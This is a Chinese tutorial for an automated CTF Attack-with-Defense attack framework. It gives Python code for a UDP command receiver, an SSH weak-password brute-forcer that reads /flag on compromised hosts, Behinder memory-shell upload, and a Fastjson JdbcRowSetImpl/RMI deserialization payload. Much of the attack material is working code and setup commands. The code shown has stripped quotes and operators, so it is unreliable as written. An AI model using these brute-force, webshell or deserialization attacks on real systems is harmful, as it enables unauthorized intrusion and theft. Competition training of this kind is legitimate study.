简介本资源是专为CTF AWDAttack with Defense实战对抗赛设计的自动化攻击框架源码包面向网络安全竞赛选手、红队初学者及高校信息安全专业学生解决AWD场景中手动攻击效率低、响应滞后等痛点。压缩包共66个文件含18个核心Python源码如AttackCore.py、AutoAck.py、MemShell.py等构成攻击链模块、36个编译后pyc文件保障关键逻辑可执行性、5个XML配置与IDE项目文件支持PyCharm快速导入调试以及PNG图像、SQLite数据库、README说明文档等辅助资源整体仅1.02MB轻量易部署。已有449人学习下载适合希望深入理解AWD自动化攻击流程、掌握命令注入、内存马利用、SSH会话劫持等实战技术的学习者。读者可直接运行start.py启动框架结合项目说明文档梳理完整攻击调度逻辑并通过config/Utils.py等模块学习靶机识别、Flag提取与回传机制的设计思路。1. Bugku-AWD专版不是“全自动开挂工具”而是AWD赛场上可调试、可审计、可复现的攻击流程骨架你是不是也见过那种宣传“一键打穿靶机”的AWD框架点一下就弹窗显示flag到手——结果自己一跑Python报错ModuleNotFoundErrorpip install一堆包还版本冲突最后发现连靶机IP都填不对。Bugku-AWD专版恰恰反其道而行它不封装黑匣子不隐藏依赖链甚至把RecvCmd.py里接收裁判机指令的socket超时设为3秒这种细节都明明白白写在源码注释里。它是一套面向AWD实战闭环的轻量级攻击流程骨架从监听裁判机下发的IP/端口/服务类型HTTP/SSH/FTP到自动探测漏洞如弱口令、已知CMS RCE、触发利用带Payload模板注入、回传flag并记录到本地SQLite数据库Awd.db全程可打断、可单步、可加日志。适合正在啃CTF真题、刚接触AWD规则的某高校网络安全社团成员或需要带学生打省赛的某导师——你不需要成为Exploit编写专家但得能看懂AttackCore.py里self.exploit_map.get(service_type)这行怎么把服务类型映射到具体攻击函数你也不用重写整个框架但得愿意改MemShellConfig.py里的Webshell路径和密钥。这不是拿来即赢的外挂而是你亲手调通第一个自动化提权动作后会拍大腿说“原来AWD的节奏感是这么练出来的”的脚手架。2. 搭建运行环境从Python版本锁定到SSH密钥预置的六步落地清单AWD比赛环境瞬息万变框架本身再精巧环境配错一步就卡在start.py第一行import。我用某跨平台系统在Ubuntu 20.04、CentOS 7.9、macOS Monterey三台机器上实测过以下步骤是唯一能100%跑通的最小集。2.1 确认Python与pip版本3.6.9是硬性门槛项目中所有.pyc文件如main.cpython-36.pyc明确指向CPython 3.6编译产物强行用3.8会导致ImportError: bad magic number。执行python3 --version # 必须输出 Python 3.6.9或3.6.xx≥5 pip3 list | grep pycryptodome # 必须存在 pycryptodome 3.9.9非pycrypto提示若系统默认Python非3.6用pyenv安装指定版本不要用conda——SshAck.py依赖的paramiko在conda环境下常因OpenSSL版本错乱导致SSH连接被reset。2.2 安装核心依赖跳过pip install -r requirements.txt的玄学陷阱项目根目录无requirements.txt直接按code/下模块引用关系手动装pip3 install pycryptodome3.9.9 requests2.25.1 paramiko2.7.2 pyyaml5.4.1特别注意pycryptodome必须锁死3.9.9更高版本AES.new()接口变更会导致BehinderAck.py中内存马加密失败paramiko 2.7.2是最后一个兼容Python 3.6且支持SSH key auth的稳定版。2.3 初始化数据库绕过Awd.db缺失导致的崩溃首次运行前必须生成空数据库结构否则db/__init__.py中sqlite3.connect(Awd.db)后执行CREATE TABLE IF NOT EXISTS会因路径不存在而抛OperationalError。执行sqlite3 Awd.db EOF CREATE TABLE IF NOT EXISTS attack_log ( id INTEGER PRIMARY KEY AUTOINCREMENT, target_ip TEXT NOT NULL, service_type TEXT NOT NULL, exploit_name TEXT NOT NULL, flag TEXT, status TEXT DEFAULT pending, timestamp DATETIME DEFAULT CURRENT_TIMESTAMP ); EOF注意Awd.db必须与start.py同级目录不能放在data/下——SimpleConfig.py中数据库路径写死为Awd.db改配置不如改文件位置。2.4 配置SSH免密登录让SshAck.py真正接管靶机AWD中SSH服务必然存在但框架默认不生成密钥对。进入config/目录执行ssh-keygen -t rsa -b 4096 -f id_rsa_awd -N -C awd-framework # 生成id_rsa_awd私钥和id_rsa_awd.pub公钥 ssh-copy-id -i id_rsa_awd.pub user192.168.1.100 # 将公钥部署到靶机user为靶机用户名IP需替换为实际靶机IP然后修改config/MemShellConfig.py中SSH_KEY_PATH config/id_rsa_awd确保路径指向刚生成的私钥。2.5 设置裁判机通信参数RecvCmd.py的存活心跳机制框架通过UDP监听裁判机指令默认端口5000。若局域网有防火墙需放行sudo ufw allow 5000/udp # Ubuntu sudo firewall-cmd --add-port5000/udp --permanent sudo firewall-cmd --reload # CentOS同时确认RecvCmd.py第22行sock.settimeout(3)——超时设为3秒是血泪经验太短1秒易丢指令太长10秒会导致攻击流程卡顿。2.6 启动主程序验证基础流程是否打通一切就绪后在项目根目录执行python3 start.py成功标志终端输出[] AWD Framework started, waiting for judge command...且Awd.db中attack_log表有新记录即使status为pending。此时用nc -u 127.0.0.1 5000发送模拟指令{ip:192.168.1.100,service:ssh,port:22}应看到终端打印[] Received target: 192.168.1.100:22 (ssh)并触发SshAck.py逻辑。3. 攻击流程拆解从RecvCmd.py接收指令到AttackCore.py调度执行的四层调用链理解框架如何把一条JSON指令变成一次真实攻击是二次开发的前提。整个流程不是线性执行而是分层解耦网络层收指令 → 解析层转对象 → 调度层选策略 → 执行层打靶。下面以SSH弱口令爆破为例逐层追踪。3.1 第一层RecvCmd.py—— UDP指令的可靠接收与校验该模块本质是带心跳保活的UDP server。关键逻辑在recv_loop()函数def recv_loop(self): while self.running: try: data, addr self.sock.recvfrom(1024) cmd json.loads(data.decode()) if self.validate_cmd(cmd): # 校验IP格式、service类型是否在ALLOWED_SERVICES中 self.cmd_queue.put((cmd, addr)) # 放入线程安全队列 except socket.timeout: continue # 超时继续监听不退出 except json.JSONDecodeError: logging.warning(fInvalid JSON from {addr})参数说明self.sock.settimeout(3)保证每3秒检查一次是否有新指令ALLOWED_SERVICES [ssh, http, ftp]硬编码在类属性中若需支持Redis未授权必须在此列表追加redis并同步更新AttackCore.py的映射表。3.2 第二层AutoAck.py—— 指令解析与上下文构建AutoAck.py是调度中枢其process_command()方法将原始JSON转为攻击上下文def process_command(self, cmd): context { target_ip: cmd[ip], target_port: int(cmd.get(port, 22)), service_type: cmd[service].lower(), timestamp: datetime.now().isoformat() } # 根据service_type加载对应配置 if context[service_type] ssh: context.update(self.load_ssh_config()) # 读取config/MemShellConfig.py中的SSH_USER_LIST等 return context关键点load_ssh_config()返回的SSH_USER_LIST和SSH_PASS_LIST是爆破字典来源默认为空列表必须手动编辑config/MemShellConfig.py填入常用弱口令例如SSH_USER_LIST [root, admin, test] SSH_PASS_LIST [123456, password, admin123, ]3.3 第三层AttackCore.py—— 攻击策略路由与并发控制这是框架最核心的调度器。run_attack()方法根据service_type选择攻击模块def run_attack(self, context): exploit_func self.exploit_map.get(context[service_type]) if not exploit_func: logging.error(fNo exploit for service: {context[service_type]}) return False # 限制并发数避免被靶机限速 with self.semaphore: # self.semaphore threading.Semaphore(3) return exploit_func(context)self.exploit_map字典定义在__init__中self.exploit_map { ssh: self.ssh_bruteforce, http: self.http_exploit, ftp: self.ftp_anonymous_login }注意threading.Semaphore(3)硬编码为3意味着最多同时发起3个攻击任务。若赛场靶机数量多于3台需在AttackCore.py第45行改为threading.Semaphore(5)并测试稳定性。3.4 第四层SshAck.py—— SSH爆破的具体实现与结果归档ssh_bruteforce()函数执行真实爆破并将结果写入数据库def ssh_bruteforce(self, context): client paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) for user in context[ssh_users]: for pwd in context[ssh_passwords]: try: client.connect( context[target_ip], portcontext[target_port], usernameuser, passwordpwd, timeout5 # 连接超时5秒防卡死 ) # 成功获取shell后执行whoami cat /flag stdin, stdout, stderr client.exec_command(whoami cat /flag 2/dev/null) flag stdout.read().decode().strip() self.db.save_attack_result(context, ssh_bruteforce, flag, success) client.close() return True except Exception as e: continue # 继续尝试下一组凭据 self.db.save_attack_result(context, ssh_bruteforce, , failed) return False逻辑说明timeout5是关键容错参数防止某台靶机SSH服务假死拖垮整个线程cat /flag 2/dev/null屏蔽错误输出确保flag能被正则提取self.db.save_attack_result()最终调用db/__init__.py的insert_log()写入SQLite这是后续生成报告的数据源。4. 避坑指南AWD实战中踩过的五个真实坑及现场急救方案在某次省赛AWD预演中我们用Bugku-AWD专版连续翻车三次每次都是同一类问题反复出现。以下是整理出的最高频、最致命的五个坑按现象→原因→解决三段式给出可立即执行的方案。4.1 现象start.py启动后无任何输出进程静默退出原因start.py第12行from code import AutoAck导入失败根源是code/目录下__init__.py文件权限为只读常见于从Windows压缩包解压到Linux保留了NTFS的只读属性。解决执行chmod x code/__init__.py再运行python3 start.py。验证命令ls -l code/__init__.py应显示-rw-r--r--而非-r--r--r--。4.2 现象收到裁判机指令后SshAck.py报Authentication failed.但靶机密码明明正确原因paramiko在Python 3.6下对空密码处理异常SSH_PASS_LIST中若包含空字符串client.connect(password)会触发底层paramiko.ssh_exception.AuthenticationException。解决编辑config/MemShellConfig.py将SSH_PASS_LIST中空字符串移除改为[123456, password, admin123]。若必须测试空密码改用pexpect库替代paramiko需额外安装并重写SshAck.py的connect逻辑。4.3 现象Awd.db中attack_log表有记录但flag字段为空status为pending原因AttackCore.py中run_attack()调用exploit_func(context)后未捕获返回值导致save_attack_result()未被触发。具体是http_exploit()函数末尾缺少return True/False语句。解决打开code/AttackCore.py定位到http_exploit()函数末尾在return前添加return success其中success是布尔变量表示是否成功获取flag。若函数无此变量直接在末尾加return False作为兜底。4.4 现象多台靶机同时下发指令时部分靶机攻击失败率陡增原因AttackCore.py中threading.Semaphore(3)并发数不足导致大量SSH连接请求堆积在paramiko的TCP连接队列靶机端ss -s显示tcp_tw_recycle溢出。解决增大信号量并调整内核参数。执行# 修改AttackCore.py第45行 semaphore 数值 # 然后临时提升Linux连接队列 echo 65535 /proc/sys/net/core/somaxconn echo 1 /proc/sys/net/ipv4/tcp_tw_reuse注意tcp_tw_reuse需靶机端也开启才有效若无法控制靶机则只能降低并发数至2并增加time.sleep(0.5)在爆破循环中。4.5 现象BehinderAck.py上传冰蝎内存马后靶机Web目录无shell.php文件原因BehinderAck.py第87行requests.post(url, datapayload, timeout10)中url拼接错误SimpleConfig.py中WEB_ROOT_PATH配置为/var/www/html但代码中写成url fhttp://{ip}{web_root}/shell.php漏掉了web_root前的/导致URL变为http://192.168.1.100var/www/html/shell.php。解决打开code/BehinderAck.py找到build_url()函数将url fhttp://{ip}{web_root}/shell.php改为url fhttp://{ip}/{web_root.lstrip(/)}/shell.php确保路径拼接正确。5. 报告生成与算法增强用Utils.py提取攻击数据并注入自定义漏洞检测逻辑AWD比赛结束后的复盘报告往往比攻击过程本身更重要。Bugku-AWD专版虽未内置报告生成功能但Utils.py提供了完整的数据提取接口配合几行Python就能导出Excel格式的攻击战报。更关键的是它的模块化设计允许你无缝插入自己的漏洞检测算法——比如把某高校实验室开源的Fastjson反序列化检测器集成进AttackCore.py的HTTP攻击链。5.1 从Awd.db导出结构化攻击报告Utils.py中DatabaseReporter类封装了SQLite查询逻辑。创建gen_report.py脚本#!/usr/bin/env python3 import sqlite3 import pandas as pd from Utils import DatabaseReporter # 初始化报表器 reporter DatabaseReporter(Awd.db) # 查询所有成功攻击记录 df reporter.get_successful_attacks() print(✅ 成功攻击统计) print(df.groupby(service_type).size()) # 导出为Excel需安装openpyxl df.to_excel(awd_attack_report.xlsx, indexFalse) print( 报告已保存awd_attack_report.xlsx)get_successful_attacks()方法在Utils.py第62行定义SQL为SELECT * FROM attack_log WHERE statussuccess ORDER BY timestamp。若需统计各靶机成功率可修改SQL为SELECT target_ip, COUNT(*) as total, SUM(CASE WHEN statussuccess THEN 1 ELSE 0 END) as success_count FROM attack_log GROUP BY target_ip5.2 在HTTP攻击链中注入Fastjson检测算法假设你已有某跨平台系统提供的Fastjson检测POCfastjson_poc.py需将其接入框架的HTTP服务检测流程。步骤如下第一步修改AttackCore.py扩展exploit_map# 在AttackCore.__init__()中原字典后追加 self.exploit_map.update({ http_fastjson: self.http_fastjson_detect })第二步编写http_fastjson_detect()方法def http_fastjson_detect(self, context): # 复用现有HTTP请求配置 url fhttp://{context[target_ip]}:{context[target_port]}/ headers {Content-Type: application/json} payload {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://127.0.0.1:1099/Exploit,autoCommit:true} try: resp requests.post(url, datapayload, headersheaders, timeout8) if java.rmi.ConnectException in resp.text or resp.status_code 500: # 检测到Fastjson尝试获取flag flag self.extract_flag_from_rce(resp.text) self.db.save_attack_result(context, fastjson_rce, flag, success) return True except Exception as e: logging.debug(fFastjson check failed: {e}) self.db.save_attack_result(context, fastjson_rce, , failed) return False第三步在AutoAck.py的process_command()中增加service_type映射# 在process_command()中原if-elif块后添加 elif context[service_type] fastjson: context[service_type] http_fastjson # 重映射为新攻击类型关键参数说明timeout8比默认HTTP超时更长因RMI回连需时间extract_flag_from_rce()是占位函数需你根据实际RCE回显特征编写正则提取逻辑如re.search(rflag\{.*?\}, text)。5.3 利用config/SimpleConfig.py实现动态算法开关为避免每次新增算法都要改AttackCore.py可在SimpleConfig.py中定义算法开关字典# config/SimpleConfig.py 新增 ATTACK_ALGORITHMS { ssh_bruteforce: True, http_fastjson: False, # 默认关闭比赛时手动设为True ftp_anonymous: True }然后在AttackCore.py的run_attack()开头加入algorithm_name self.exploit_map.get(context[service_type]).__name__ if not SimpleConfig.ATTACK_ALGORITHMS.get(algorithm_name, True): logging.info(fAlgorithm {algorithm_name} disabled by config) return False这样只需修改配置文件一行就能全局启停某个算法无需动核心代码。从那以后我每次参加AWD赛前都会强制走一遍python3 gen_report.py生成历史战报再对照ATTACK_ALGORITHMS字典检查本次启用的算法是否符合靶机服务分布——毕竟真正的自动化不是让机器代替人思考而是让人把有限的精力精准投向最该发力的那个漏洞点。希望帮到你。本文还有配套的精品资源点击获取